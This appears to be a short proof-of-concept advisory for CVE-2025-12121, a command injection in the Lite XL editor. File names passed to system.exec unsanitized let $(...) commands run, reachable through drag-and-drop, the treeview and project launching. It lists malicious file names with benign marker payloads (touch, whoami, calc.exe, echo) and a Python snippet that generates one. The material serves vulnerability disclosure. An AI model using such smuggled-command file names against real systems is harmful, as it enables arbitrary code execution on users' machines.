CVE-2025-12121: Lite XL system.exec函数命令注入漏洞

# CVE-2025-12121 PoC - Lite XL Command Injection # Affected: Lite XL <= 2.1.8 # Attack Vector: Create a malicious filename with shell commands # Method 1: Via drag-and-drop (rootview.lua) # Create a file with malicious name in project directory malicious_filename = 'test$(touch /tmp/pwned).txt' # When user drags this file, arbitrary command executes # Method 2: Via treeview "Open in System" (treeview.lua) # Similar payload in file name malicious_file = '$(calc.exe).txt' # Method 3: Via project directory launching (core.lua) # Create malicious entry in project configuration # The path will be passed to system.exec without sanitization # Exploitation example (Unix-like systems): # touch 'test$(whoami>pwned).txt' # When processed by Lite XL, the command in $() will execute # Python PoC to generate malicious filenames: import os payload = '$(echo PWNED > /tmp/cve-2025-12121)' malicious_name = f'malicious_file{payload}.txt' print(f'Malicious filename: {malicious_name}') # When Lite XL processes this filename via system.exec, # the command inside $() will be executed